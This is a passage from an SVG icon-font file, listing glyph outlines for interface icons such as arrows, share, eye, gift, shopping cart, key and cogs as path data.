d="M190.5 381.1l22.2002 22.2002c9.39941 9.40039 24.5996 9.40039 33.8994 0l194.4 -194.3c9.40039 -9.40039 9.40039 -24.5996 0 -33.9004l-194.4 -194.399c-9.39941 -9.40039 -24.5996 -9.40039 -33.8994 0l-22.2002 22.2002c-9.5 9.5 -9.2998 25 0.400391 34.2998
l120.5 114.8h-287.4c-13.2998 0 -24 10.7002 -24 24v32c0 13.2998 10.7002 24 24 24h287.4l-120.5 114.8c-9.80078 9.2998 -10 24.7998 -0.400391 34.2998z" />
    <glyph glyph-name="arrow-up" unicode="&#xf062;" horiz-adv-x="448" 
d="M34.9004 158.5l-22.2002 22.2002c-9.40039 9.39941 -9.40039 24.5996 0 33.8994l194.3 194.4c9.40039 9.40039 24.5996 9.40039 33.9004 0l194.3 -194.3c9.39941 -9.40039 9.39941 -24.6006 0 -33.9004l-22.2002 -22.2002c-9.5 -9.5 -25 -9.2998 -34.2998 0.400391
l-114.7 120.4v-287.4c0 -13.2998 -10.7002 -24 -24 -24h-32c-13.2998 0 -24 10.7002 -24 24v287.4l-114.8 -120.5c-9.2998 -9.80078 -24.7998 -10 -34.2998 -0.400391z" />
    <glyph glyph-name="arrow-down" unicode="&#xf063;" horiz-adv-x="448" 
d="M413.1 225.5l22.2002 -22.2002c9.40039 -9.39941 9.40039 -24.5996 0 -33.8994l-194.3 -194.4c-9.40039 -9.40039 -24.5996 -9.40039 -33.9004 0l-194.399 194.4c-9.40039 9.39941 -9.40039 24.5996 0 33.8994l22.2002 22.2002c9.5 9.5 25 9.2998 34.2998 -0.400391
l114.8 -120.5v287.4c0 13.2998 10.7002 24 24 24h32c13.2998 0 24 -10.7002 24 -24v-287.4l114.8 120.5c9.2998 9.80078 24.7998 10 34.2998 0.400391z" />
    <glyph glyph-name="share" unicode="&#xf064;" 
d="M503.691 258.164c11.0859 -9.5752 11.0703 -26.7656 0 -36.3281l-176.005 -152c-15.3867 -13.2891 -39.6865 -2.53613 -39.6865 18.1641v87.915c-155.083 -2.23145 -221.934 -40.7295 -176.59 -185.742c5.03418 -16.0977 -14.4238 -28.5615 -28.0771 -18.6309
c-43.752 31.8232 -83.333 92.6914 -83.333 154.132c0 152.227 127.371 184.419 288 186.258v80.0537c0 20.668 24.2812 31.4688 39.6865 18.1641z" />
    <glyph glyph-name="expand" unicode="&#xf065;" horiz-adv-x="448" 
d="M0 268v124c0 13.2998 10.7002 24 24 24h124c6.59961 0 12 -5.40039 12 -12v-40c0 -6.59961 -5.40039 -12 -12 -12h-84v-84c0 -6.59961 -5.40039 -12 -12 -12h-40c-6.59961 0 -12 5.40039 -12 12zM288 404c0 6.59961 5.40039 12 12 12h124c13.2998 0 24 -10.7002 24 -24
v-124c0 -6.59961 -5.40039 -12 -12 -12h-40c-6.59961 0 -12 5.40039 -12 12v84h-84c-6.59961 0 -12 5.40039 -12 12v40zM436 128c6.59961 0 12 -5.40039 12 -12v-124c0 -13.2998 -10.7002 -24 -24 -24h-124c-6.59961 0 -12 5.40039 -12 12v40c0 6.59961 5.40039 12 12 12h84
v84c0 6.59961 5.40039 12 12 12h40zM160 -20c0 -6.59961 -5.40039 -12 -12 -12h-124c-13.2998 0 -24 10.7002 -24 24v124c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-84h84c6.59961 0 12 -5.40039 12 -12v-40z" />
    <glyph glyph-name="compress" unicode="&#xf066;" horiz-adv-x="448" 
d="M436 256h-124c-13.2998 0 -24 10.7002 -24 24v124c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-84h84c6.59961 0 12 -5.40039 12 -12v-40c0 -6.59961 -5.40039 -12 -12 -12zM160 280c0 -13.2998 -10.7002 -24 -24 -24h-124
c-6.59961 0 -12 5.40039 -12 12v40c0 6.59961 5.40039 12 12 12h84v84c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-124zM160 -20c0 -6.59961 -5.40039 -12 -12 -12h-40c-6.59961 0 -12 5.40039 -12 12v84h-84c-6.59961 0 -12 5.40039 -12 12v40
c0 6.59961 5.40039 12 12 12h124c13.2998 0 24 -10.7002 24 -24v-124zM352 -20c0 -6.59961 -5.40039 -12 -12 -12h-40c-6.59961 0 -12 5.40039 -12 12v124c0 13.2998 10.7002 24 24 24h124c6.59961 0 12 -5.40039 12 -12v-40c0 -6.59961 -5.40039 -12 -12 -12h-84v-84z" />
    <glyph glyph-name="plus" unicode="&#xf067;" horiz-adv-x="448" 
d="M416 240c17.6699 0 32 -14.3301 32 -32v-32c0 -17.6699 -14.3301 -32 -32 -32h-144v-144c0 -17.6699 -14.3301 -32 -32 -32h-32c-17.6699 0 -32 14.3301 -32 32v144h-144c-17.6699 0 -32 14.3301 -32 32v32c0 17.6699 14.3301 32 32 32h144v144
c0 17.6699 14.3301 32 32 32h32c17.6699 0 32 -14.3301 32 -32v-144h144z" />
    <glyph glyph-name="minus" unicode="&#xf068;" horiz-adv-x="448" 
d="M416 240c17.6699 0 32 -14.3301 32 -32v-32c0 -17.6699 -14.3301 -32 -32 -32h-384c-17.6699 0 -32 14.3301 -32 32v32c0 17.6699 14.3301 32 32 32h384z" />
    <glyph glyph-name="asterisk" unicode="&#xf069;" 
d="M478.21 113.907c11.7949 -6.47754 15.96 -21.3828 9.23242 -33.0361l-19.4805 -33.7412c-6.72754 -11.6533 -21.7207 -15.499 -33.2266 -8.52246l-138.735 84.1104l3.47559 -162.204c0.288086 -13.4531 -10.5391 -24.5137 -23.9941 -24.5137h-38.9619
c-13.4551 0 -24.2822 11.0605 -23.9941 24.5137l3.47461 162.204l-138.735 -84.1113c-11.5059 -6.97656 -26.499 -3.13086 -33.2266 8.52246l-19.4805 33.7412c-6.72852 11.6533 -2.5625 26.5596 9.23242 33.0371l142.21 78.0928l-142.209 78.0918
c-11.7949 6.47754 -15.9609 21.3838 -9.2334 33.0371l19.4805 33.7412c6.72754 11.6533 21.7207 15.499 33.2266 8.52246l138.735 -84.1104l-3.47363 162.204c-0.289062 13.4531 10.5381 24.5137 23.9932 24.5137h38.9609c13.4561 0 24.2822 -11.0605 23.9941 -24.5137
l-3.47461 -162.204l138.735 84.1113c11.5068 6.97656 26.499 3.13086 33.2266 -8.52246l19.4805 -33.7412c6.72852 -11.6533 2.5625 -26.5596 -9.23242 -33.0371l-142.21 -78.0928z" />
    <glyph glyph-name="exclamation-circle" unicode="&#xf06a;" 
d="M504 192c0 -136.997 -111.043 -248 -248 -248s-248 111.003 -248 248c0 136.917 111.043 248 248 248s248 -111.083 248 -248zM256 142c-25.4053 0 -46 -20.5947 -46 -46s20.5947 -46 46 -46s46 20.5947 46 46s-20.5947 46 -46 46zM212.327 307.346l7.41797 -136
c0.34668 -6.36328 5.6084 -11.3457 11.9814 -11.3457h48.5469c6.37305 0 11.6348 4.98242 11.9814 11.3457l7.41797 136c0.375 6.87402 -5.09766 12.6543 -11.9814 12.6543h-63.3838c-6.88379 0 -12.3555 -5.78027 -11.9805 -12.6543z" />
    <glyph glyph-name="gift" unicode="&#xf06b;" 
d="M32 0v128h192v-160h-160c-17.7002 0 -32 14.2998 -32 32zM288 -32v160h192v-128c0 -17.7002 -14.2998 -32 -32 -32h-160zM480 288c17.7002 0 32 -14.2998 32 -32v-80c0 -8.7998 -7.2002 -16 -16 -16h-480c-8.7998 0 -16 7.2002 -16 16v80c0 17.7002 14.2998 32 32 32
h44.0996c-6.2998 12.0996 -10.0996 25.5 -10.0996 40c0 48.5 39.5 88 88 88c41.5996 0 68.5 -21.2998 103 -68.2998c34.5 47 61.4004 68.2998 103 68.2998c48.5 0 88 -39.5 88 -88c0 -14.5 -3.90039 -27.9004 -10.0996 -40h42.0996zM153.9 288h86.0996
c-51.5 76.7002 -66.2002 80 -86.0996 80c-22.1006 0 -40 -17.9004 -40 -40s17.8994 -40 40 -40zM360 288c22.0996 0 40 17.9004 40 40s-17.9004 40 -40 40c-20.4004 0 -34.7002 -3.5 -86.0996 -80h86.0996z" />
    <glyph glyph-name="leaf" unicode="&#xf06c;" horiz-adv-x="576" 
d="M546.2 438.3c19 -42.3994 29.7998 -94.3994 29.7998 -144.6c0 -172.4 -110.5 -313.2 -267.5 -324.601c-80.9004 -8.59961 -142.5 33.3008 -174.9 77.2002c-51 -42.7002 -70.3994 -87 -71.8994 -90.5996c-6.7998 -16.2002 -25.4004 -24.1006 -41.7998 -17.2998
c-16.3008 6.69922 -24.1006 25.2998 -17.5 41.5996c23.5996 57.9004 130.199 212 381.6 212c8.7998 0 16 7.2002 16 16s-7.2002 16 -16 16c-130.6 0 -222.7 -38.7998 -286.5 -84.5c-0.700195 6.7998 -1.5 13.5 -1.5 20.5c0 106 86 192 192 192h80
c63.4004 0 118.9 33.5996 149.9 87.5c6.69922 11.7998 22.6992 11.2998 28.2998 -1.2002z" />
    <glyph glyph-name="fire" unicode="&#xf06d;" horiz-adv-x="384" 
d="M216 424.14c0 -103.14 168 -125.85 168 -296.14c0 -105.87 -86.1299 -192 -192 -192s-192 86.1299 -192 192c0 58.6699 27.7998 106.84 54.5703 134.96c14.96 15.7305 41.4297 5.2002 41.4297 -16.5v-85.5098c0 -35.1699 27.9805 -64.4902 63.1504 -64.9404
c35.7393 -0.469727 64.8496 28.3604 64.8496 63.9902c0 88 -176 96.1504 -52.1504 277.18c13.5 19.7305 44.1504 10.7607 44.1504 -13.04z" />
    <glyph glyph-name="eye" unicode="&#xf06e;" horiz-adv-x="576" 
d="M572.52 206.6c1.9209 -3.79883 3.47949 -10.3379 3.47949 -14.5947s-1.55859 -10.7959 -3.47949 -14.5947c-54.1992 -105.771 -161.59 -177.41 -284.52 -177.41s-230.29 71.5898 -284.52 177.4c-1.9209 3.79883 -3.47949 10.3379 -3.47949 14.5947
s1.55859 10.7959 3.47949 14.5947c54.1992 105.771 161.59 177.41 284.52 177.41s230.29 -71.5898 284.52 -177.4zM288 48h0.0703125c79.4492 0 143.93 64.4805 143.93 143.93v0.0703125c0 79.4883 -64.5117 144 -144 144s-144 -64.5117 -144 -144s64.5117 -144 144 -144z
M288 288h0.225586c52.8701 0 95.7803 -42.9092 95.7803 -95.7793c0 -52.8711 -42.9102 -95.7803 -95.7803 -95.7803c-52.8711 0 -95.7803 42.9092 -95.7803 95.7803c0 7.04785 1.49805 18.2871 3.34473 25.0889c6.9834 -5.13867 19.6895 -9.30957 28.3604 -9.30957
c26.4131 0 47.8496 21.4365 47.8496 47.8496c0 8.6709 -4.1709 21.377 -9.30957 28.3604c6.84375 1.99219 18.1826 3.69043 25.3096 3.79004z" />
    <glyph glyph-name="eye-slash" unicode="&#xf070;" horiz-adv-x="640" 
d="M320 48c7.24121 0.0673828 18.8896 1.23633 26 2.61035l51.8896 -40.1504c-25.0195 -6.45996 -50.9795 -10.46 -77.8896 -10.46c-122.93 0 -230.29 71.5898 -284.52 177.4c-1.9209 3.79883 -3.47949 10.3379 -3.47949 14.5947s1.55859 10.7959 3.47949 14.5947
c10.2393 20 22.9297 38.29 36.7197 55.5898l104.899 -81.0693c5.65039 -74.4004 67.0508 -133.11 142.9 -133.11zM633.82 -10.0996c3.41309 -2.65234 6.18359 -8.3125 6.18359 -12.6357c0 -3.02734 -1.50684 -7.42383 -3.36426 -9.81445l-19.6396 -25.2705
c-2.65234 -3.41211 -8.31152 -6.18262 -12.6338 -6.18262c-3.03125 0 -7.43359 1.51172 -9.82617 3.37305l-588.36 454.729c-3.41016 2.65234 -6.17773 8.31055 -6.17773 12.6309c0 3.0293 1.50879 7.42773 3.36816 9.81934l19.6299 25.2705
c2.65234 3.41211 8.31152 6.18262 12.6338 6.18262c3.03125 0 7.43359 -1.51172 9.82617 -3.37305l127.22 -98.3301c38.0117 20.7578 104.011 37.6475 147.32 37.7002c122.93 0 230.29 -71.5898 284.52 -177.4c1.9209 -3.79883 3.47949 -10.3379 3.47949 -14.5947
s-1.55859 -10.7959 -3.47949 -14.5947c-16.7666 -32.6758 -53.166 -78.4033 -81.25 -102.07zM450.1 131.9c8.61035 18.3203 13.9004 38.4697 13.9004 60.0996v0.0800781c0 79.4434 -64.4766 143.92 -143.92 143.92h-0.0800781
c-28.4697 -0.0214844 -69.3047 -14.8545 -91.1504 -33.1104l73.6104 -56.8896c0.726562 2.71387 1.41602 7.19336 1.54004 10c-0.015625 8.62891 -4.18652 21.2666 -9.30957 28.21c7.17969 2.09668 19.0781 3.79785 26.5576 3.79785
c52.3076 0 94.7598 -42.4521 94.7598 -94.7598c0 -0.344727 -0.00292969 -0.90332 -0.0078125 -1.24805c-0.112305 -8.43457 -2.44238 -21.749 -5.2002 -29.7197z" />
    <glyph glyph-name="exclamation-triangle" unicode="&#xf071;" horiz-adv-x="576" 
d="M569.517 7.9873c18.458 -31.9941 -4.71094 -71.9873 -41.5762 -71.9873h-479.887c-36.9365 0 -59.999 40.0547 -41.5771 71.9873l239.946 416.027c18.4668 32.0098 64.7197 31.9512 83.1543 0zM288 94c-25.4053 0 -46 -20.5947 -46 -46s20.5947 -46 46 -46
s46 20.5947 46 46s-20.5947 46 -46 46zM244.327 259.346l7.41797 -136c0.34668 -6.36328 5.6084 -11.3457 11.9814 -11.3457h48.5469c6.37305 0 11.6348 4.98242 11.9814 11.3457l7.41797 136c0.375 6.87402 -5.09766 12.6543 -11.9814 12.6543h-63.3838
c-6.88379 0 -12.3555 -5.78027 -11.9805 -12.6543z" />
    <glyph glyph-name="plane" unicode="&#xf072;" horiz-adv-x="576" 
d="M480 256c35.3496 0 96 -28.6504 96 -64s-60.6504 -64 -96 -64h-114.29l-105.11 -183.94c-2.84961 -4.97949 -8.14941 -8.05957 -13.8896 -8.05957h-65.5c-10.6299 0 -18.2998 10.1797 -15.3799 20.4004l49.0303 171.6h-102.86l-43.2002 -57.5996
c-3.01953 -4.03027 -7.75977 -6.40039 -12.7998 -6.40039h-39.9902c-10.4102 0 -18.0498 9.78027 -15.5195 19.8799l31.5098 108.12l-31.5098 108.12c-2.53027 10.0996 5.10938 19.8799 15.5195 19.8799h39.9902c5.03027 0 9.78027 -2.37012 12.7998 -6.40039
l43.2002 -57.5996h102.86l-49.0303 171.61c-2.91992 10.2197 4.75 20.3896 15.3799 20.3896h65.5h0.000976562c5.12598 0 11.3525 -3.61133 13.8994 -8.05957l105.1 -183.94h114.29z" />
    <glyph glyph-name="calendar-alt" unicode="&#xf073;" horiz-adv-x="448" 
d="M0 -16v272h448v-272c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48zM320 180v-40c0 -6.59961 5.40039 -12 12 -12h40c6.59961 0 12 5.40039 12 12v40c0 6.59961 -5.40039 12 -12 12h-40c-6.59961 0 -12 -5.40039 -12 -12zM320 52v-40
c0 -6.59961 5.40039 -12 12 -12h40c6.59961 0 12 5.40039 12 12v40c0 6.59961 -5.40039 12 -12 12h-40c-6.59961 0 -12 -5.40039 -12 -12zM192 180v-40c0 -6.59961 5.40039 -12 12 -12h40c6.59961 0 12 5.40039 12 12v40c0 6.59961 -5.40039 12 -12 12h-40
c-6.59961 0 -12 -5.40039 -12 -12zM192 52v-40c0 -6.59961 5.40039 -12 12 -12h40c6.59961 0 12 5.40039 12 12v40c0 6.59961 -5.40039 12 -12 12h-40c-6.59961 0 -12 -5.40039 -12 -12zM64 180v-40c0 -6.59961 5.40039 -12 12 -12h40c6.59961 0 12 5.40039 12 12v40
c0 6.59961 -5.40039 12 -12 12h-40c-6.59961 0 -12 -5.40039 -12 -12zM64 52v-40c0 -6.59961 5.40039 -12 12 -12h40c6.59961 0 12 5.40039 12 12v40c0 6.59961 -5.40039 12 -12 12h-40c-6.59961 0 -12 -5.40039 -12 -12zM400 384c26.5 0 48 -21.5 48 -48v-48h-448v48
c0 26.5 21.5 48 48 48h48v48c0 8.7998 7.2002 16 16 16h32c8.7998 0 16 -7.2002 16 -16v-48h128v48c0 8.7998 7.2002 16 16 16h32c8.7998 0 16 -7.2002 16 -16v-48h48z" />
    <glyph glyph-name="random" unicode="&#xf074;" 
d="M504.971 88.9707c9.37305 -9.37305 9.37305 -24.5684 0 -33.9404l-80 -79.9844c-15.0098 -15.0098 -40.9707 -4.49023 -40.9707 16.9707v39.9834h-58.7852c-2.87793 0 -6.80859 1.70801 -8.77246 3.81152l-70.5566 75.5967l53.333 57.1426l52.7812 -56.5508h32v39.9814
c0 21.4375 25.9434 31.9971 40.9707 16.9707zM12 272c-6.62695 0 -12 5.37305 -12 12v56c0 6.62695 5.37305 12 12 12h110.785h0.000976562c2.87793 0 6.80762 -1.70801 8.77148 -3.81152l70.5566 -75.5967l-53.333 -57.1426l-52.7812 56.5508h-84zM384 272h-32
l-220.442 -236.188c-2.26953 -2.43066 -5.44629 -3.81152 -8.77246 -3.81152h-110.785c-6.62695 0 -12 5.37305 -12 12v56c0 6.62695 5.37305 12 12 12h84l220.442 236.188c1.96387 2.10352 5.89453 3.81152 8.77246 3.81152h58.7852v39.9814
c0 21.4365 25.9434 31.9971 40.9707 16.9697l80 -79.9814c9.37305 -9.37207 9.37305 -24.5674 0 -33.9404l-80 -79.9844c-15.0098 -15.0088 -40.9707 -4.48926 -40.9707 16.9707v39.9844z" />
    <glyph glyph-name="comment" unicode="&#xf075;" 
d="M256 416c141.4 0 256 -93.0996 256 -208s-114.6 -208 -256 -208c-38.4004 0 -74.7002 7.09961 -107.4 19.4004c-24.5996 -19.6006 -74.2998 -51.4004 -140.6 -51.4004c-3.2002 0 -6 1.7998 -7.2998 4.7998s-0.700195 6.40039 1.5 8.7002
c0.5 0.5 42.2998 45.4004 54.7998 95.7998c-35.5996 35.7002 -57 81.1006 -57 130.7c0 114.9 114.6 208 256 208z" />
    <glyph glyph-name="magnet" unicode="&#xf076;" 
d="M164.07 299.9h-152.07c-6.62402 0 -12 5.37598 -12 12v80c0 19.8721 16.1279 36 36 36h104c19.8721 0 36 -16.1279 36 -36v-80c0 -0.03125 0.000976562 -0.0800781 0.000976562 -0.110352c0 -6.56348 -5.32715 -11.8896 -11.8906 -11.8896h-0.0400391zM512 311.9
c0 -6.56348 -5.32715 -11.9014 -11.8896 -11.9014c-0.0302734 0 -0.0800781 0.000976562 -0.110352 0.000976562h-152c-6.62402 0 -12 5.37598 -12 12v80c0 19.8721 16.1279 36 36 36h104c19.8721 0 36 -16.1279 36 -36v-80.0996zM348 267.9h151.85h0.000976562
c6.62402 0 12 -5.37598 12 -12c0 -0.0283203 0 -0.0732422 -0.000976562 -0.100586c-0.199219 -20.2002 -0.599609 -40.3994 0 -53.2002c0 -150.699 -134.42 -246.699 -255 -246.699s-256.75 96 -256.75 246.6c0.600586 13 0.100586 31.9004 0 53.2998v0.100586
c0 6.62402 5.37598 12 12 12v0h151.9c6.62402 0 12 -5.37598 12 -12v-52c0 -127.9 160 -128.101 160 0v52c0 6.62402 5.37598 12 12 12z" />
    <glyph glyph-name="chevron-up" unicode="&#xf077;" horiz-adv-x="448" 
d="M240.971 317.476l194.344 -194.343c9.37207 -9.37305 9.37207 -24.5684 0 -33.9404l-22.667 -22.667c-9.35742 -9.35742 -24.5225 -9.375 -33.9014 -0.0400391l-154.746 154.02l-154.745 -154.021c-9.37891 -9.33496 -24.5439 -9.31738 -33.9014 0.0400391
l-22.667 22.667c-9.37207 9.37305 -9.37207 24.5684 0 33.9404l194.344 194.343c9.37207 9.37305 24.5674 9.37305 33.9404 0.000976562z" />
    <glyph glyph-name="chevron-down" unicode="&#xf078;" horiz-adv-x="448" 
d="M207.029 66.5244l-194.344 194.344c-9.37207 9.37305 -9.37207 24.5684 0 33.9404l22.667 22.667c9.35742 9.35742 24.5225 9.375 33.9014 0.0400391l154.746 -154.021l154.745 154.021c9.37891 9.33496 24.5439 9.31738 33.9014 -0.0400391l22.667 -22.667
c9.37207 -9.37305 9.37207 -24.5684 0 -33.9404l-194.343 -194.344c-9.37305 -9.37207 -24.5684 -9.37207 -33.9414 0z" />
    <glyph glyph-name="retweet" unicode="&#xf079;" horiz-adv-x="640" 
d="M629.657 104.402l-100.687 -100.687c-9.37305 -9.37207 -24.5674 -9.37207 -33.9404 0l-100.688 100.687c-9.37305 9.37305 -9.37305 24.5684 0 33.9404l10.8232 10.8232c9.56152 9.56152 25.1328 9.33984 34.4189 -0.492188l40.415 -42.792v182.118h-187.549
c-5.4873 0 -13.0908 3.14941 -16.9707 7.0293l-16 16c-15.1191 15.1201 -4.41113 40.9707 16.9707 40.9707h243.549c13.2549 0 24 -10.7451 24 -24v-222.118l40.416 42.792c9.28516 9.83105 24.8564 10.0537 34.4189 0.492188l10.8232 -10.8232
c9.37207 -9.37207 9.37207 -24.5684 -0.000976562 -33.9404zM364.519 88.9707l16.001 -16c15.1191 -15.1201 4.41113 -40.9707 -16.9707 -40.9707h-243.549c-13.2549 0 -24 10.7451 -24 24v222.119l-40.416 -42.793c-9.28613 -9.83105 -24.8574 -10.0527 -34.4189 -0.491211
l-10.8223 10.8223c-9.37305 9.37207 -9.37305 24.5674 0 33.9404l100.688 100.687c9.37207 9.37305 24.5674 9.37305 33.9404 0l100.687 -100.686c9.37305 -9.37207 9.37305 -24.5674 0 -33.9404l-10.8223 -10.8223c-9.5625 -9.5625 -25.1328 -9.33984 -34.4189 0.491211
l-40.416 42.792v-182.119h187.548h0.000976562c5.4873 0 13.0898 -3.14941 16.9697 -7.0293z" />
    <glyph glyph-name="shopping-cart" unicode="&#xf07a;" horiz-adv-x="576" 
d="M528.12 146.681c-2.4834 -10.9268 -12.1973 -18.6807 -23.4033 -18.6807h-293.145l6.54492 -32h268.418c15.4004 0 26.8154 -14.3008 23.4033 -29.3193l-5.51758 -24.2754c18.6914 -9.07324 31.5791 -28.2334 31.5791 -50.4053c0 -30.9277 -25.0723 -56 -56 -56
s-56 25.0723 -56 56c0 15.6738 6.44727 29.835 16.8232 40h-209.647c10.377 -10.165 16.8242 -24.3262 16.8242 -40c0 -30.9277 -25.0723 -56 -56 -56s-56 25.0723 -56 56c0 20.7783 11.3252 38.9004 28.1309 48.5654l-70.248 343.435h-69.8828
c-13.2549 0 -24 10.7451 -24 24v16c0 13.2549 10.7451 24 24 24h102.529c11.4004 0 21.2285 -8.02148 23.5127 -19.1904l9.16602 -44.8096h392.782c15.4004 0 26.8154 -14.3008 23.4023 -29.3193z" />
    <glyph glyph-name="folder" unicode="&#xf07b;" 
d="M464 320c26.5098 0 48 -21.4902 48 -48v-224c0 -26.5098 -21.4902 -48 -48 -48h-416c-26.5098 0 -48 21.4902 -48 48v288c0 26.5098 21.4902 48 48 48h160l64 -64h192z" />
    <glyph glyph-name="folder-open" unicode="&#xf07c;" horiz-adv-x="576" 
d="M572.694 155.907l-72.4248 -124.155c-10.2236 -17.5273 -34.9883 -31.752 -55.2793 -31.752h-0.000976562h-399.964c-18.5234 0 -30.0645 20.0928 -20.7314 36.0928l72.4238 124.155c10.2246 17.5273 34.9902 31.752 55.2822 31.752v0h399.964
c18.5234 0 30.0645 -20.0928 20.7305 -36.0928zM152 224c-34.0107 0 -65.7861 -18.25 -82.9229 -47.6279l-69.0771 -118.418v278.046c0 26.5098 21.4902 48 48 48h160l64 -64h160c26.5098 0 48 -21.4902 48 -48v-48h-328z" />
    <glyph glyph-name="chart-bar" unicode="&#xf080;" 
d="M332.8 128c-6.39941 0 -12.7998 6.40039 -12.7998 12.7998v134.4c0 6.39941 6.40039 12.7998 12.7998 12.7998h38.4004c6.39941 0 12.7998 -6.40039 12.7998 -12.7998v-134.4c0 -6.39941 -6.40039 -12.7998 -12.7998 -12.7998h-38.4004zM428.8 128
c-6.39941 0 -12.7998 6.40039 -12.7998 12.7998v230.4c0 6.39941 6.40039 12.7998 12.7998 12.7998h38.4004c6.39941 0 12.7998 -6.40039 12.7998 -12.7998v-230.4c0 -6.39941 -6.40039 -12.7998 -12.7998 -12.7998h-38.4004zM140.8 128
c-6.39941 0 -12.7998 6.40039 -12.7998 12.7998v70.4004c0 6.39941 6.40039 12.7998 12.7998 12.7998h38.4004c6.39941 0 12.7998 -6.40039 12.7998 -12.7998v-70.4004c0 -6.39941 -6.40039 -12.7998 -12.7998 -12.7998h-38.4004zM236.8 128
c-6.39941 0 -12.7998 6.40039 -12.7998 12.7998v198.4c0 6.39941 6.40039 12.7998 12.7998 12.7998h38.4004c6.39941 0 12.7998 -6.40039 12.7998 -12.7998v-198.4c0 -6.39941 -6.40039 -12.7998 -12.7998 -12.7998h-38.4004zM496 64c8.83984 0 16 -7.16016 16 -16v-32
c0 -8.83984 -7.16016 -16 -16 -16h-464c-17.6699 0 -32 14.3301 -32 32v336c0 8.83984 7.16016 16 16 16h32c8.83984 0 16 -7.16016 16 -16v-304h432z" />
    <glyph glyph-name="camera-retro" unicode="&#xf083;" 
d="M48 416h416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-416c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48zM48 384c-8.7998 0 -16 -7.2002 -16 -16v-10c0 -3.2998 2.7002 -6 6 -6h116c3.2998 0 6 2.7002 6 6v20c0 3.2998 -2.7002 6 -6 6h-106z
M474 288c3.2998 0 6 2.7002 6 6v74c0 8.7998 -7.2002 16 -16 16h-252.8c-2 0 -3.90039 -1 -5 -2.7002l-30.2002 -45.2998h-138c-3.2998 0 -6 -2.7002 -6 -6v-36c0 -3.2998 2.7002 -6 6 -6h436zM256 24c66.2002 0 120 53.7998 120 120s-53.7998 120 -120 120
s-120 -53.7998 -120 -120s53.7998 -120 120 -120zM256 232c48.5 0 88 -39.5 88 -88s-39.5 -88 -88 -88s-88 39.5 -88 88s39.5 88 88 88zM208 128c8.7998 0 16 7.2002 16 16c0 17.5996 14.4004 32 32 32c8.7998 0 16 7.2002 16 16s-7.2002 16 -16 16
c-35.2998 0 -64 -28.7002 -64 -64c0 -8.7998 7.2002 -16 16 -16z" />
    <glyph glyph-name="key" unicode="&#xf084;" 
d="M512 271.999c0 -97.2021 -78.7979 -175.999 -176 -175.999c-11.2197 0 -22.1904 1.06152 -32.8271 3.06934l-24.0117 -27.0146c-3.95215 -4.44629 -11.9883 -8.05469 -17.9375 -8.05469h-0.000976562h-37.2227v-40c0 -13.2549 -10.7451 -24 -24 -24h-40v-40
c0 -13.2549 -10.7451 -24 -24 -24h-112c-13.2549 0 -24 10.7451 -24 24v78.0586c0 6.36523 2.5293 12.4707 7.0293 16.9717l161.802 161.802c-5.72266 17.3535 -8.83105 35.8965 -8.83105 55.168c0 97.2021 78.7969 175.999 175.999 176
c97.4893 0.000976562 176.001 -78.5107 176.001 -176.001zM336 320c0 -26.5098 21.4902 -48 48 -48s48 21.4902 48 48s-21.4902 48 -48 48s-48 -21.4902 -48 -48z" />
    <glyph glyph-name="cogs" unicode="&#xf085;" horiz-adv-x="640" 
d="M512.1 257l-8.19922 -14.2998c-3 -5.2998 -9.40039 -7.5 -15.1006 -5.40039c-11.7998 4.40039 -22.5996 10.7002 -32.0996 18.6006c-4.60059 3.7998 -5.7998 10.5 -2.7998 15.6992l8.19922 14.3008c-6.89941 8 -12.2998 17.2998 -15.8994 27.3994h-16.5
c-6 0 -11.2002 4.2998 -12.2002 10.2998c-2 12 -2.09961 24.6006 0 37.1006c1 6 6.2002 10.3994 12.2002 10.3994h16.5c3.59961 10.1006 9 19.4004 15.8994 27.4004l-8.19922 14.2998c-3 5.2002 -1.90039 11.9004 2.7998 15.7002
c9.5 7.90039 20.3994 14.2002 32.0996 18.5996c5.7002 2.10059 12.1006 -0.0996094 15.1006 -5.39941l8.19922 -14.2998c10.5 1.89941 21.2002 1.89941 31.7002 0l8.2002 14.2998c3 5.2998 9.40039 7.5 15.0996 5.39941c11.8008 -4.39941 22.6006 -10.6992 32.1006 -18.5996
c4.59961 -3.7998 5.7998 -10.5 2.7998 -15.7002l-8.2002 -14.2998c6.90039 -8 12.2998 -17.2998 15.9004 -27.4004h16.5c6 0 11.2002 -4.2998 12.2002 -10.2998c2 -12 2.09961 -24.5996 0 -37.0996c-1 -6 -6.2002 -10.4004 -12.2002 -10.4004h-16.5
c-3.60059 -10.0996 -9 -19.3994 -15.9004 -27.3994l8.2002 -14.3008c3 -5.19922 1.90039 -11.8994 -2.7998 -15.6992c-9.5 -7.90039 -20.4004 -14.2002 -32.1006 -18.6006c-5.69922 -2.09961 -12.0996 0.100586 -15.0996 5.40039l-8.2002 14.2998
c-10.3994 -1.90039 -21.2002 -1.90039 -31.7002 0zM501.6 315.8c38.5 -29.5996 82.4004 14.2998 52.8008 52.7998c-38.5 29.7002 -82.4004 -14.2998 -52.8008 -52.7998zM386.3 161.9l33.7002 -16.8008c10.0996 -5.7998 14.5 -18.0996 10.5 -29.0996
c-8.90039 -24.2002 -26.4004 -46.4004 -42.5996 -65.7998c-7.40039 -8.90039 -20.2002 -11.1006 -30.3008 -5.2998l-29.0996 16.7998c-16 -13.7002 -34.5996 -24.6006 -54.9004 -31.7002v-33.5996c0 -11.6006 -8.2998 -21.6006 -19.6992 -23.6006
c-24.6006 -4.2002 -50.4004 -4.39941 -75.9004 0c-11.5 2 -20 11.9004 -20 23.6006v33.5996c-20.2998 7.2002 -38.9004 18 -54.9004 31.7002l-29.0996 -16.7002c-10 -5.7998 -22.9004 -3.59961 -30.2998 5.2998c-16.2002 19.4004 -33.2998 41.6006 -42.2002 65.7002
c-4 10.9004 0.400391 23.2002 10.5 29.0996l33.2998 16.8008c-3.89941 20.8994 -3.89941 42.3994 0 63.3994l-33.2998 16.9004c-10.0996 5.7998 -14.5996 18.0996 -10.5 29c8.90039 24.2002 26 46.3994 42.2002 65.7998c7.39941 8.90039 20.2002 11.0996 30.2998 5.2998
